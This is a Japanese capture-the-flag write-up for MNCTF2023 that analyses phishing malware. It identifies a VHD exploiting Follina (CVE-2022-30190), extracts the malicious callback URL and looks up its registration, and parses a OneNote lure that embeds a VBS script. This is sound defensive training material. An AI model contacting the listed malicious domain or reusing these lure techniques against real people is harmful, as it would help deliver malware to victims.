MNCTF2023 Writeup
0. チュートリアル
このステージはCTFのシステムを理解するための練習用のステージとなります。競技開始の前に試していただくことをお薦め致します。
0-1. Misc - 練習問題
練習問題です。答えは「MNCTF2023@@@」となります。
正答:MNCTF2023@@@
1. 個別問題
1-1. Binary - 利用された脆弱性
てしがわら君宛に怪しい添付ファイルが同僚のやまざき君から転送されてきた。
同ファイルは何らかの脆弱性を利用するらしいが何の脆弱性でしょうか?
CVE番号を答えてください。(CVE-xxxx-xxxxx)
問題にはinvoice_notification.vhd
が添付されています。
添付ファイルをダウンロードしようとしたら、ChromeとMicrosoft Defenderに叱られました。
仕方がないので、Kali Linux上のFirefox経由で添付ファイルをダウンロードしてSHA256ハッシュ値を調べます。
$ sha256sum invoice_notification.vhd
d7b61e31c8776f4276d4c1440ab24b2d6ccc22fb5dae8d9002d60e8cf54d8bb5 invoice_notification.vhd
$
ChromeとMicrosoft Defenderに叱られたということは本物の危ないファイルである可能性が高いので、VirusTotalにてSHA256ハッシュ値を検索にかけます。
VirusTotalの検索結果より、答えはCVE-2022-30190
であることが分かります。
正答:CVE-2022-30190
ちなみに、CVE-2022-30190はMicrosoftサポート診断ツールに起因するリモートコード実行の脆弱性[1]で、別名Follinaです。
1-2. Binary - 通信先
「1-1.利用された脆弱性」の脆弱性が突かれると、とあるURLにアクセスする。URLを答えてください。
まず、binwalkでinvoice_notification.vhd
からファイルを抽出します。
$ binwalk invoice_notification.vhd
DECIMAL HEXADECIMAL DESCRIPTION
--------------------------------------------------------------------------------
108544 0x1A800 Zip archive data, at least v2.0 to extract, name: _rels/
108580 0x1A824 Zip archive data, at least v2.0 to extract, name: docProps/
108619 0x1A84B Zip archive data, at least v2.0 to extract, name: word/
108654 0x1A86E Zip archive data, at least v2.0 to extract, compressed size: 340, uncompressed size: 1312, name: [Content_Types].xml
109043 0x1A9F3 Zip archive data, at least v2.0 to extract, compressed size: 354, uncompressed size: 735, name: docProps/core.xml
109444 0x1AB84 Zip archive data, at least v2.0 to extract, compressed size: 353, uncompressed size: 704, name: docProps/app.xml
109843 0x1AD13 Zip archive data, at least v2.0 to extract, compressed size: 233, uncompressed size: 590, name: _rels/.rels
110117 0x1AE25 Zip archive data, at least v2.0 to extract, name: word/_rels/
110158 0x1AE4E Zip archive data, at least v2.0 to extract, name: word/theme/
110199 0x1AE77 Zip archive data, at least v2.0 to extract, compressed size: 2880, uncompressed size: 29364, name: word/styles.xml
113124 0x1B9E4 Zip archive data, at least v2.0 to extract, compressed size: 307, uncompressed size: 803, name: word/webSettings.xml
113481 0x1BB49 Zip archive data, at least v2.0 to extract, compressed size: 1007, uncompressed size: 2934, name: word/settings.xml
114535 0x1BF67 Zip archive data, at least v2.0 to extract, compressed size: 464, uncompressed size: 1567, name: word/fontTable.xml
115047 0x1C167 Zip archive data, at least v2.0 to extract, compressed size: 1220, uncompressed size: 3920, name: word/document.xml
116314 0x1C65A Zip archive data, at least v2.0 to extract, compressed size: 1529, uncompressed size: 6799, name: word/theme/theme1.xml
117894 0x1CC86 Zip archive data, at least v2.0 to extract, compressed size: 286, uncompressed size: 994, name: word/_rels/document.xml.rels
119215 0x1D1AF End of Zip archive, footer length: 22
$
$ binwalk -e invoice_notification.vhd
DECIMAL HEXADECIMAL DESCRIPTION
--------------------------------------------------------------------------------
108544 0x1A800 Zip archive data, at least v2.0 to extract, name: _rels/
108580 0x1A824 Zip archive data, at least v2.0 to extract, name: docProps/
108619 0x1A84B Zip archive data, at least v2.0 to extract, name: word/
108654 0x1A86E Zip archive data, at least v2.0 to extract, compressed size: 340, uncompressed size: 1312, name: [Content_Types].xml
109043 0x1A9F3 Zip archive data, at least v2.0 to extract, compressed size: 354, uncompressed size: 735, name: docProps/core.xml
109444 0x1AB84 Zip archive data, at least v2.0 to extract, compressed size: 353, uncompressed size: 704, name: docProps/app.xml
109843 0x1AD13 Zip archive data, at least v2.0 to extract, compressed size: 233, uncompressed size: 590, name: _rels/.rels
110117 0x1AE25 Zip archive data, at least v2.0 to extract, name: word/_rels/
110158 0x1AE4E Zip archive data, at least v2.0 to extract, name: word/theme/
110199 0x1AE77 Zip archive data, at least v2.0 to extract, compressed size: 2880, uncompressed size: 29364, name: word/styles.xml
113124 0x1B9E4 Zip archive data, at least v2.0 to extract, compressed size: 307, uncompressed size: 803, name: word/webSettings.xml
113481 0x1BB49 Zip archive data, at least v2.0 to extract, compressed size: 1007, uncompressed size: 2934, name: word/settings.xml
114535 0x1BF67 Zip archive data, at least v2.0 to extract, compressed size: 464, uncompressed size: 1567, name: word/fontTable.xml
115047 0x1C167 Zip archive data, at least v2.0 to extract, compressed size: 1220, uncompressed size: 3920, name: word/document.xml
116314 0x1C65A Zip archive data, at least v2.0 to extract, compressed size: 1529, uncompressed size: 6799, name: word/theme/theme1.xml
117894 0x1CC86 Zip archive data, at least v2.0 to extract, compressed size: 286, uncompressed size: 994, name: word/_rels/document.xml.rels
WARNING: One or more files failed to extract: either no utility was found or it's unimplemented
$
次に、grepで抽出したファイル内に怪しいURLが含まれているか確認します。
ここで使用するgrepのオプションや正規表現は以下の通りです。
-
-o
:検索条件に一致した部分のみ表示 -
-P
:Perl正規表現を使用 -
-r
:再帰的に検索(ディレクトリ内に含まれる全てのファイルに対して検索) -
https?://[^"]+
:http://
またはhttps://
から始まり"
が現れるまで
$ cd _invoice_notification.vhd.extracted
$ grep -oPr 'https?://[^"]+' .
./[Content_Types].xml:http://schemas.openxmlformats.org/package/2006/content-types
./_rels/.rels:http://schemas.openxmlformats.org/package/2006/relationships
./_rels/.rels:http://schemas.openxmlformats.org/officeDocument/2006/relationships/extended-properties
./_rels/.rels:http://schemas.openxmlformats.org/package/2006/relationships/metadata/core-properties
./_rels/.rels:http://schemas.openxmlformats.org/officeDocument/2006/relationships/officeDocument
./word/_rels/document.xml.rels:http://schemas.openxmlformats.org/package/2006/relationships
./word/_rels/document.xml.rels:http://schemas.openxmlformats.org/officeDocument/2006/relationships/webSettings
./word/_rels/document.xml.rels:http://schemas.openxmlformats.org/officeDocument/2006/relationships/settings
./word/_rels/document.xml.rels:http://schemas.openxmlformats.org/officeDocument/2006/relationships/styles
./word/_rels/document.xml.rels:http://schemas.openxmlformats.org/officeDocument/2006/relationships/oleObject
./word/_rels/document.xml.rels:http://angrymusu.me:80/index.html!
./word/_rels/document.xml.rels:http://schemas.openxmlformats.org/officeDocument/2006/relationships/theme
./word/_rels/document.xml.rels:http://schemas.openxmlformats.org/officeDocument/2006/relationships/fontTable
./word/fontTable.xml:http://schemas.openxmlformats.org/markup-compatibility/2006
./word/fontTable.xml:http://schemas.openxmlformats.org/officeDocument/2006/relationships
./word/fontTable.xml:http://schemas.openxmlformats.org/wordprocessingml/2006/main
./word/fontTable.xml:http://schemas.microsoft.com/office/word/2010/wordml
./word/fontTable.xml:http://schemas.microsoft.com/office/word/2012/wordml
./word/fontTable.xml:http://schemas.microsoft.com/office/word/2018/wordml/cex
./word/fontTable.xml:http://schemas.microsoft.com/office/word/2016/wordml/cid
./word/fontTable.xml:http://schemas.microsoft.com/office/word/2018/wordml
./word/fontTable.xml:http://schemas.microsoft.com/office/word/2015/wordml/symex
./word/styles.xml:http://schemas.openxmlformats.org/markup-compatibility/2006
./word/styles.xml:http://schemas.openxmlformats.org/officeDocument/2006/relationships
./word/styles.xml:http://schemas.openxmlformats.org/wordprocessingml/2006/main
./word/styles.xml:http://schemas.microsoft.com/office/word/2010/wordml
./word/styles.xml:http://schemas.microsoft.com/office/word/2012/wordml
./word/styles.xml:http://schemas.microsoft.com/office/word/2018/wordml/cex
./word/styles.xml:http://schemas.microsoft.com/office/word/2016/wordml/cid
./word/styles.xml:http://schemas.microsoft.com/office/word/2018/wordml
./word/styles.xml:http://schemas.microsoft.com/office/word/2015/wordml/symex
./word/document.xml:http://schemas.microsoft.com/office/word/2010/wordprocessingCanvas
./word/document.xml:http://schemas.microsoft.com/office/drawing/2014/chartex
./word/document.xml:http://schemas.microsoft.com/office/drawing/2015/9/8/chartex
./word/document.xml:http://schemas.microsoft.com/office/drawing/2015/10/21/chartex
./word/document.xml:http://schemas.microsoft.com/office/drawing/2016/5/9/chartex
./word/document.xml:http://schemas.microsoft.com/office/drawing/2016/5/10/chartex
./word/document.xml:http://schemas.microsoft.com/office/drawing/2016/5/11/chartex
./word/document.xml:http://schemas.microsoft.com/office/drawing/2016/5/12/chartex
./word/document.xml:http://schemas.microsoft.com/office/drawing/2016/5/13/chartex
./word/document.xml:http://schemas.microsoft.com/office/drawing/2016/5/14/chartex
./word/document.xml:http://schemas.openxmlformats.org/markup-compatibility/2006
./word/document.xml:http://schemas.microsoft.com/office/drawing/2016/ink
./word/document.xml:http://schemas.microsoft.com/office/drawing/2017/model3d
./word/document.xml:http://schemas.openxmlformats.org/officeDocument/2006/relationships
./word/document.xml:http://schemas.openxmlformats.org/officeDocument/2006/math
./word/document.xml:http://schemas.microsoft.com/office/word/2010/wordprocessingDrawing
./word/document.xml:http://schemas.openxmlformats.org/drawingml/2006/wordprocessingDrawing
./word/document.xml:http://schemas.openxmlformats.org/wordprocessingml/2006/main
./word/document.xml:http://schemas.microsoft.com/office/word/2010/wordml
./word/document.xml:http://schemas.microsoft.com/office/word/2012/wordml
./word/document.xml:http://schemas.microsoft.com/office/word/2018/wordml/cex
./word/document.xml:http://schemas.microsoft.com/office/word/2016/wordml/cid
./word/document.xml:http://schemas.microsoft.com/office/word/2018/wordml
./word/document.xml:http://schemas.microsoft.com/office/word/2015/wordml/symex
./word/document.xml:http://schemas.microsoft.com/office/word/2010/wordprocessingGroup
./word/document.xml:http://schemas.microsoft.com/office/word/2010/wordprocessingInk
./word/document.xml:http://schemas.microsoft.com/office/word/2006/wordml
./word/document.xml:http://schemas.microsoft.com/office/word/2010/wordprocessingShape
./word/settings.xml:http://schemas.openxmlformats.org/markup-compatibility/2006
./word/settings.xml:http://schemas.openxmlformats.org/officeDocument/2006/relationships
./word/settings.xml:http://schemas.openxmlformats.org/officeDocument/2006/math
./word/settings.xml:http://schemas.openxmlformats.org/wordprocessingml/2006/main
./word/settings.xml:http://schemas.microsoft.com/office/word/2010/wordml
./word/settings.xml:http://schemas.microsoft.com/office/word/2012/wordml
./word/settings.xml:http://schemas.microsoft.com/office/word/2018/wordml/cex
./word/settings.xml:http://schemas.microsoft.com/office/word/2016/wordml/cid
./word/settings.xml:http://schemas.microsoft.com/office/word/2018/wordml
./word/settings.xml:http://schemas.microsoft.com/office/word/2015/wordml/symex
./word/settings.xml:http://schemas.openxmlformats.org/schemaLibrary/2006/main
./word/settings.xml:http://schemas.microsoft.com/office/word
./word/settings.xml:http://schemas.microsoft.com/office/word
./word/settings.xml:http://schemas.microsoft.com/office/word
./word/settings.xml:http://schemas.microsoft.com/office/word
./word/settings.xml:http://schemas.microsoft.com/office/word
./word/settings.xml:http://schemas.microsoft.com/office/word
./word/webSettings.xml:http://schemas.openxmlformats.org/markup-compatibility/2006
./word/webSettings.xml:http://schemas.openxmlformats.org/officeDocument/2006/relationships
./word/webSettings.xml:http://schemas.openxmlformats.org/wordprocessingml/2006/main
./word/webSettings.xml:http://schemas.microsoft.com/office/word/2010/wordml
./word/webSettings.xml:http://schemas.microsoft.com/office/word/2012/wordml
./word/webSettings.xml:http://schemas.microsoft.com/office/word/2018/wordml/cex
./word/webSettings.xml:http://schemas.microsoft.com/office/word/2016/wordml/cid
./word/webSettings.xml:http://schemas.microsoft.com/office/word/2018/wordml
./word/webSettings.xml:http://schemas.microsoft.com/office/word/2015/wordml/symex
./word/theme/theme1.xml:http://schemas.openxmlformats.org/drawingml/2006/main
./word/theme/theme1.xml:http://schemas.microsoft.com/office/thememl/2012/main
./docProps/core.xml:http://schemas.openxmlformats.org/package/2006/metadata/core-properties
./docProps/core.xml:http://purl.org/dc/elements/1.1/
./docProps/core.xml:http://purl.org/dc/terms/
./docProps/core.xml:http://purl.org/dc/dcmitype/
./docProps/core.xml:http://www.w3.org/2001/XMLSchema-instance
./docProps/app.xml:http://schemas.openxmlformats.org/officeDocument/2006/extended-properties
./docProps/app.xml:http://schemas.openxmlformats.org/officeDocument/2006/docPropsVTypes
$
明らかに./word/_rels/document.xml.rels:http://angrymusu.me:80/index.html!
が異質です。
正答:http://angrymusu.me:80/index.html
1-3. Recon - ドメイン取得日
「1-2.通信先」のURLに含まれているドメインの取得年月日はいつか調べてください。
YYYY-MM-DD形式で回答してください。
whoisでangrymusu.me
を検索します。
$ whois angrymusu.me
Domain Name: angrymusu.me
Registry Domain ID: 77dc6a888fa840509a8506b7ec3faa0a-DONUTS
Registrar WHOIS Server: http://whois.domain.com
Registrar URL: http://www.domain.com
Updated Date: 2024-08-27T11:19:54Z
Creation Date: 2022-09-02T15:43:06Z
Registry Expiry Date: 2025-09-02T15:43:06Z
Registrar: Domain.com, LLC
Registrar IANA ID: 886
Registrar Abuse Contact Email:
Registrar Abuse Contact Phone:
Domain Status: ok https://icann.org/epp#ok
Registry Registrant ID: REDACTED FOR PRIVACY
Registrant Name: REDACTED FOR PRIVACY
Registrant Organization: shinoseccom
Registrant Street: REDACTED FOR PRIVACY
Registrant City: REDACTED FOR PRIVACY
Registrant State/Province: NA
Registrant Postal Code: REDACTED FOR PRIVACY
Registrant Country: JP
Registrant Phone: REDACTED FOR PRIVACY
Registrant Phone Ext: REDACTED FOR PRIVACY
Registrant Fax: REDACTED FOR PRIVACY
Registrant Fax Ext: REDACTED FOR PRIVACY
Registrant Email: Please query the RDDS service of the Registrar of Record identified in this output for information on how to contact the Registrant, Admin, or Tech contact of the queried domain name.
Registry Admin ID: REDACTED FOR PRIVACY
Admin Name: REDACTED FOR PRIVACY
Admin Organization: REDACTED FOR PRIVACY
Admin Street: REDACTED FOR PRIVACY
Admin City: REDACTED FOR PRIVACY
Admin State/Province: REDACTED FOR PRIVACY
Admin Postal Code: REDACTED FOR PRIVACY
Admin Country: REDACTED FOR PRIVACY
Admin Phone: REDACTED FOR PRIVACY
Admin Phone Ext: REDACTED FOR PRIVACY
Admin Fax: REDACTED FOR PRIVACY
Admin Fax Ext: REDACTED FOR PRIVACY
Admin Email: Please query the RDDS service of the Registrar of Record identified in this output for information on how to contact the Registrant, Admin, or Tech contact of the queried domain name.
Registry Tech ID: REDACTED FOR PRIVACY
Tech Name: REDACTED FOR PRIVACY
Tech Organization: REDACTED FOR PRIVACY
Tech Street: REDACTED FOR PRIVACY
Tech City: REDACTED FOR PRIVACY
Tech State/Province: REDACTED FOR PRIVACY
Tech Postal Code: REDACTED FOR PRIVACY
Tech Country: REDACTED FOR PRIVACY
Tech Phone: REDACTED FOR PRIVACY
Tech Phone Ext: REDACTED FOR PRIVACY
Tech Fax: REDACTED FOR PRIVACY
Tech Fax Ext: REDACTED FOR PRIVACY
Tech Email: Please query the RDDS service of the Registrar of Record identified in this output for information on how to contact the Registrant, Admin, or Tech contact of the queried domain name.
Name Server: ns1.domain.com
Name Server: ns2.domain.com
DNSSEC: unsigned
URL of the ICANN Whois Inaccuracy Complaint Form: https://www.icann.org/wicf/
>>> Last update of WHOIS database: 2024-10-23T14:45:34Z <<<
For more information on Whois status codes, please visit https://icann.org/epp
Terms of Use: Access to WHOIS information is provided to assist persons in determining the contents of a domain name registration record in the registry database. The data in this record is provided by Identity Digital or the Registry Operator for informational purposes only, and accuracy is not guaranteed. This service is intended only for query-based access. You agree that you will use this data only for lawful purposes and that, under no circumstances will you use this data to (a) allow, enable, or otherwise support the transmission by e-mail, telephone, or facsimile of mass unsolicited, commercial advertising or solicitations to entities other than the data recipient's own existing customers; or (b) enable high volume, automated, electronic processes that send queries or data to the systems of Registry Operator, a Registrar, or Identity Digital except as reasonably necessary to register domain names or modify existing registrations. When using the Whois service, please consider the following: The Whois service is not a replacement for standard EPP commands to the SRS service. Whois is not considered authoritative for registered domain objects. The Whois service may be scheduled for downtime during production or OT&E maintenance periods. Queries to the Whois services are throttled. If too many queries are received from a single IP address within a specified time, the service will begin to reject further queries for a period of time to prevent disruption of Whois service access. Abuse of the Whois system through data mining is mitigated by detecting and limiting bulk query access from single sources. Where applicable, the presence of a [Non-Public Data] tag indicates that such data is not made publicly available due to applicable data privacy laws or requirements. Should you wish to contact the registrant, please refer to the Whois records available through the registrar URL listed above. Access to non-public data may be provided, upon request, where it can be re
asonably confirmed that the requester holds a specific legitimate interest and a proper legal basis for accessing the withheld data. Access to this data provided by Identity Digital can be requested by submitting a request via the form found at https://www.identity.digital/about/policies/whois-layered-access/. The Registrar of Record identified in this output may have an RDDS service that can be queried for additional information on how to contact the Registrant, Admin, or Tech contact of the queried domain name. Identity Digital Inc. and Registry Operator reserve the right to modify these terms at any time. By submitting this query, you agree to abide by this policy.
Creation Date: 2022-09-02T15:43:06Z
より、答えは2022-09-02
であることが分かります。
正答:2022-09-02
2. インシデント対応
マクニキCSIRTのメンバーであるてしがわら君に怪しいメールが届いたという連絡が入った。
広報部のやまもとさんから怪しいメールが届いたと連絡があり、添付ファイルを調査することになりました。
新商品開発プロジェクトのメーリングリストから来ており、数十人が同じメールを受信しているはずである。てしがわら君と一緒に調査をしてみよう!
2-1. Binary - 添付ファイルの中身
メールには添付ファイルがありました。パスワードは「infected」です。
添付ファイルはOneNote形式ですが、他のファイルが埋め込まれているようです。
埋め込まれているファイルのファイル名を調べてください。
問題にはNewMaterial.one
が添付されています。
添付ファイルをダウンロードしようとしたら、またもやChromeとMicrosoft Defenderに叱られました。
Kali Linux上のFirefox経由で添付ファイルをダウンロードし、file
コマンドでファイルの種類を調べます。
$ file NewMaterial.one
NewMaterial.one: Microsoft OneNote
$
拡張子通りMicrosoft OneNoteファイルのようです。
次に、foremostを使って埋め込まれているファイルを抽出します。
$ foremost NewMaterial.one
Processing: NewMaterial.one
|*|
$ cd output/png
$ ls
00000017.png 00000022.png
$
PNGファイルを2つ抽出できました。
00000017.png
00000022.png
ここから
- ファイル名をなかなか特定できなかった
- 答えは1つのはずなのに抽出したファイルは2つだった
- 抽出したPNGファイルに意味がなさそうだった
という理由から方針を転換しました。
pyOneNoteを使い、Microsoft OneNoteファイルをパースします。
$ pyonenote -f NewMaterial.one
Headers
####################################################################
guidFileType: 7b5c52e4-d88c-4da7-aeb1-5378d02996d3
guidFile: 8128b67c-4da2-45ed-b87b-6c1fa276bb05
guidLegacyFileVersion: 00000000-0000-0000-0000-000000000000
guidFileFormat: 109add3f-911b-49f5-a5d0-1791edc8aed8
ffvLastCodeThatWroteToThisFile: 42
ffvOldestCodeThatHasWrittenToThisFile: 42
ffvNewestCodeThatHasWrittenToThisFile: 42
ffvOldestCodeThatMayReadThisFile: 42
fcrLegacyFreeChunkList: FileChunkReference32:(stp:0, cb:0)
fcrLegacyTransactionLog: FileChunkReference32:(stp:4294967295, cb:0)
cTransactionsInLog: 17
cbLegacyExpectedFileLength: 0
rgbPlaceholder: 0
fcrLegacyFileNodeListRoot: FileChunkReference32:(stp:4294967295, cb:0)
cbLegacyFreeSpaceInFreeChunkList: 0
fNeedsDefrag: 0
fRepairedFile: 0
fNeedsGarbageCollect: 0
fHasNoEmbeddedFileObjects: 0
guidAncestor: 00000000-0000-0000-0000-000000000000
crcName: 0
fcrHashedChunkList: FileChunkReference64x32:(stp:10032, cb:1024)
fcrTransactionLog: FileChunkReference64x32:(stp:2048, cb:2408)
fcrFileNodeListRoot: FileChunkReference64x32:(stp:1024, cb:1024)
fcrFreeChunkList: FileChunkReference64x32:(stp:18446744073709551615, cb:0)
cbExpectedFileLength: 150392
cbFreeSpaceInFreeChunkList: 240
guidFileVersion: 83e256a1-c2ca-4c5d-9492-2785531eadae
nFileVersionGeneration: 22
guidDenyReadFileVersion: 08fcdca7-e7f2-405a-ae9e-2ac4b442d830
grfDebugLogFlags: 0
fcrDebugLog: FileChunkReference64x32:(stp:0, cb:0)
fcrAllocVerificationFreeChunkList: FileChunkReference64x32:(stp:0, cb:0)
bnCreated: 1004272758
bnLastWroteToThisFile: 1004272758
bnOldestWritten: 1004272758
bnNewestWritten: 1004272758
Properties
####################################################################
jcidSectionMetaData(<ExtendedGUID> (0f06399e-2885-46b4-9ae8-12a8a55be5d0, 11)):
SchemaRevisionInOrderToRead: b'(\x00\x00\x00'
jcidSectionNode(<ExtendedGUID> (0f06399e-2885-46b4-9ae8-12a8a55be5d0, 10)):
NotebookManagementEntityGuid: eaf930c44b884a08ba90ac4229e37e95
TopologyCreationTimeStamp: 2023-05-17 05:23:06.076000
ElementChildNodesOfVersionHistory: ['<ExtendedGUID> (0f06399e-2885-46b4-9ae8-12a8a55be5d0, 12)']
jcidPageSeriesNode(<ExtendedGUID> (0f06399e-2885-46b4-9ae8-12a8a55be5d0, 12)):
ChildGraphSpaceElementNodes: ['<ExtendedGUID> (2e2d503a-1ec8-4958-91ab-dfe9749b1705, 1)']
NotebookManagementEntityGuid: c884de67c5484a018c3497c7aeb8fe0d
TopologyCreationTimeStamp: 2023-05-17 05:17:05.716000
jcidOutlineElementNode(<ExtendedGUID> (b52d926a-8de3-4c84-9bf2-5adabba21b31, 37)):
LastModifiedTime: 2023-05-17 05:17:05
AuthorMostRecent: ['<ExtendedGUID> (b52d926a-8de3-4c84-9bf2-5adabba21b31, 29)']
AuthorOriginal: ['<ExtendedGUID> (b52d926a-8de3-4c84-9bf2-5adabba21b31, 29)']
CreationTimeStamp: 2023-05-17 05:17:05
OutlineElementChildLevel: b'\x01'
ContentChildNodesOfPageManifest: ['<ExtendedGUID> (b52d926a-8de3-4c84-9bf2-5adabba21b31, 29)']
OutlineElementRTL: False
jcidOutlineNode(<ExtendedGUID> (b52d926a-8de3-4c84-9bf2-5adabba21b31, 33)):
LastModifiedTime: 2023-05-17 05:23:06
ElementChildNodesOfVersionHistory: ['<ExtendedGUID> (b52d926a-8de3-4c84-9bf2-5adabba21b31, 34)', '<ExtendedGUID> (b52d926a-8de3-4c84-9bf2-5adabba21b31, 34)']
RgOutlineIndentDistance: ꤄煁㼀㽀㽀
OutlineElementChildLevel: b'\x01'
LayoutMaxHeight: 28
LayoutAlignmentInParent: b'\x00\x00\x00\x00'
LayoutAlignmentSelf: b'\x0c\x00\x00\x00'
LayoutMaxWidth: 624
jcidRichTextOENode(<ExtendedGUID> (b52d926a-8de3-4c84-9bf2-5adabba21b31, 35)):
LastModifiedTime: 2023-05-17 05:17:05
ParagraphStyle: ['<ExtendedGUID> (b52d926a-8de3-4c84-9bf2-5adabba21b31, 36)']
LayoutAlignmentInParent: b'\x01\x00\x00\x00'
LayoutAlignmentSelf: b'\x0c\x00\x00\x00'
RichEditTextLangID: en_US(1033)
TextExtendedAscii: 547565736461792c204d61792031362c2032303233
TextRunFormatting: ['<ExtendedGUID> (b52d926a-8de3-4c84-9bf2-5adabba21b31, 36)']
jcidEmbeddedFileNode(<ExtendedGUID> (b52d926a-8de3-4c84-9bf2-5adabba21b31, 18)):
LastModifiedTime: 2023-05-17 05:22:36
EmbeddedFileContainer: ['<ExtendedGUID> (b52d926a-8de3-4c84-9bf2-5adabba21b31, 19)']
PictureWidth: 32
PictureHeight: 32
PictureContainer: ['<ExtendedGUID> (b52d926a-8de3-4c84-9bf2-5adabba21b31, 19)']
EmbeddedFileName: test.vbs
RichEditTextUnicode: test.vbs
SourceFilepath: C:\Users\brickmaker\Desktop\new_material\test.vbs
OffsetFromParentHoriz: 648
OffsetFromParentVert: 379
LayoutAlignmentSelf: b'\t\x00\x00\x00'
LayoutMaxWidth: 32
LayoutMaxHeight: 32
jcidOutlineElementNode(<ExtendedGUID> (b52d926a-8de3-4c84-9bf2-5adabba21b31, 28)):
LastModifiedTime: 2023-05-17 05:17:28
AuthorMostRecent: ['<ExtendedGUID> (b52d926a-8de3-4c84-9bf2-5adabba21b31, 29)']
AuthorOriginal: ['<ExtendedGUID> (b52d926a-8de3-4c84-9bf2-5adabba21b31, 29)']
CreationTimeStamp: 2023-05-17 05:17:28
OutlineElementChildLevel: b'\x01'
ContentChildNodesOfPageManifest: ['<ExtendedGUID> (b52d926a-8de3-4c84-9bf2-5adabba21b31, 29)']
jcidEmbeddedFileNode(<ExtendedGUID> (b52d926a-8de3-4c84-9bf2-5adabba21b31, 15)):
LastModifiedTime: 2023-05-17 05:22:30
EmbeddedFileContainer: ['<ExtendedGUID> (b52d926a-8de3-4c84-9bf2-5adabba21b31, 16)']
PictureWidth: 32
PictureHeight: 32
PictureContainer: ['<ExtendedGUID> (b52d926a-8de3-4c84-9bf2-5adabba21b31, 16)']
EmbeddedFileName: test.vbs
RichEditTextUnicode: test.vbs
SourceFilepath: C:\Users\brickmaker\Desktop\new_material\test.vbs
OffsetFromParentHoriz: 576
OffsetFromParentVert: 379
LayoutAlignmentSelf: b'\t\x00\x00\x00'
LayoutMaxWidth: 72
LayoutMaxHeight: 86
IsLayoutSizeSetByUser: False
jcidRichTextOENode(<ExtendedGUID> (b52d926a-8de3-4c84-9bf2-5adabba21b31, 30)):
LastModifiedTime: 2023-05-17 05:17:28
ParagraphStyle: ['<ExtendedGUID> (b52d926a-8de3-4c84-9bf2-5adabba21b31, 31)']
RichEditTextLangID: en_US(1033)
TextRunFormatting: ['<ExtendedGUID> (b52d926a-8de3-4c84-9bf2-5adabba21b31, 31)']
RichEditTextUnicode: 新素材の合金
jcidImageNode(<ExtendedGUID> (b52d926a-8de3-4c84-9bf2-5adabba21b31, 24)):
LastModifiedTime: 2023-05-17 05:20:04
LanguageID: en_US(1033)
ImageFilename: 無題の画像.png
PictureWidth: 954
PictureHeight: 528
PictureContainer: ['<ExtendedGUID> (b52d926a-8de3-4c84-9bf2-5adabba21b31, 25)']
OffsetFromParentHoriz: 72
OffsetFromParentVert: 67
LayoutAlignmentSelf: b'\t\x00\x00\x00'
LayoutMaxWidth: 954
LayoutMaxHeight: 528
RichEditTextLangID: en_US(1033)
RichEditTextUnicode: Office365
jcidPageMetaData(<ExtendedGUID> (b52d926a-8de3-4c84-9bf2-5adabba21b31, 11)):
CachedTitleString: 新素材の合金
NotebookManagementEntityGuid: 6e7c14a8aae04d7691869ac75a995c52
PageLevel: b'\x01\x00\x00\x00'
SchemaRevisionInOrderToRead: b'(\x00\x00\x00'
TopologyCreationTimeStamp: 2023-05-17 05:17:05.716000
jcidTitleNode(<ExtendedGUID> (b52d926a-8de3-4c84-9bf2-5adabba21b31, 26)):
LastModifiedTime: 2023-05-17 05:23:06
OffsetFromParentHoriz: 0
OffsetFromParentVert: 0
LayoutAlignmentInParent: b'\x0c\x00\t\x00'
LayoutAlignmentSelf: b'\x00\x00\x00\x00'
LayoutCollisionPriority: b'\x00\x00\x00\x00'
ElementChildNodesOfVersionHistory: ['<ExtendedGUID> (b52d926a-8de3-4c84-9bf2-5adabba21b31, 27)', '<ExtendedGUID> (b52d926a-8de3-4c84-9bf2-5adabba21b31, 27)']
jcidEmbeddedFileNode(<ExtendedGUID> (b52d926a-8de3-4c84-9bf2-5adabba21b31, 21)):
LastModifiedTime: 2023-05-17 05:22:41
EmbeddedFileContainer: ['<ExtendedGUID> (b52d926a-8de3-4c84-9bf2-5adabba21b31, 22)']
PictureWidth: 32
PictureHeight: 32
PictureContainer: ['<ExtendedGUID> (b52d926a-8de3-4c84-9bf2-5adabba21b31, 22)']
EmbeddedFileName: test.vbs
RichEditTextUnicode: test.vbs
SourceFilepath: C:\Users\brickmaker\Desktop\new_material\test.vbs
OffsetFromParentHoriz: 720
OffsetFromParentVert: 379
LayoutAlignmentSelf: b'\t\x00\x00\x00'
LayoutMaxWidth: 32
LayoutMaxHeight: 32
jcidRichTextOENode(<ExtendedGUID> (b52d926a-8de3-4c84-9bf2-5adabba21b31, 38)):
LastModifiedTime: 2023-05-17 05:17:05
ParagraphStyle: ['<ExtendedGUID> (b52d926a-8de3-4c84-9bf2-5adabba21b31, 36)']
LayoutAlignmentInParent: b'\x01\x00\x00\x00'
LayoutAlignmentSelf: b'\x0c\x00\x00\x00'
RichEditTextLangID: en_US(1033)
TextExtendedAscii: 〱ㄺ‷䵐
TextRunFormatting: ['<ExtendedGUID> (b52d926a-8de3-4c84-9bf2-5adabba21b31, 36)']
jcidOutlineElementNode(<ExtendedGUID> (b52d926a-8de3-4c84-9bf2-5adabba21b31, 34)):
LastModifiedTime: 2023-05-17 05:17:05
AuthorMostRecent: ['<ExtendedGUID> (b52d926a-8de3-4c84-9bf2-5adabba21b31, 29)']
AuthorOriginal: ['<ExtendedGUID> (b52d926a-8de3-4c84-9bf2-5adabba21b31, 29)']
CreationTimeStamp: 2023-05-17 05:17:05
OutlineElementChildLevel: b'\x01'
ContentChildNodesOfPageManifest: ['<ExtendedGUID> (b52d926a-8de3-4c84-9bf2-5adabba21b31, 29)']
OutlineElementRTL: False
jcidRevisionMetaData(<ExtendedGUID> (b52d926a-8de3-4c84-9bf2-5adabba21b31, 12)):
AuthorMostRecent: ['<ExtendedGUID> (b52d926a-8de3-4c84-9bf2-5adabba21b31, 13)']
LastModifiedTimeStamp: 2023-05-17 05:22:51
jcidPageNode(<ExtendedGUID> (b52d926a-8de3-4c84-9bf2-5adabba21b31, 14)):
LastModifiedTime: 2023-05-17 05:23:06
ElementChildNodesOfVersionHistory: ['<ExtendedGUID> (b52d926a-8de3-4c84-9bf2-5adabba21b31, 15)', '<ExtendedGUID> (b52d926a-8de3-4c84-9bf2-5adabba21b31, 15)', '<ExtendedGUID> (b52d926a-8de3-4c84-9bf2-5adabba21b31, 15)', '<ExtendedGUID> (b52d926a-8de3-4c84-9bf2-5adabba21b31, 15)']
StructureElementChildNodes: ['<ExtendedGUID> (b52d926a-8de3-4c84-9bf2-5adabba21b31, 15)']
PageMarginTop: 48
PageMarginBottom: 48
PageMarginLeft: 96
PageMarginRight: 96
PageWidth: 1005
PageHeight: 1044
Author: brickmaker
EditRootRTL: False
PageMarginOriginX: 48
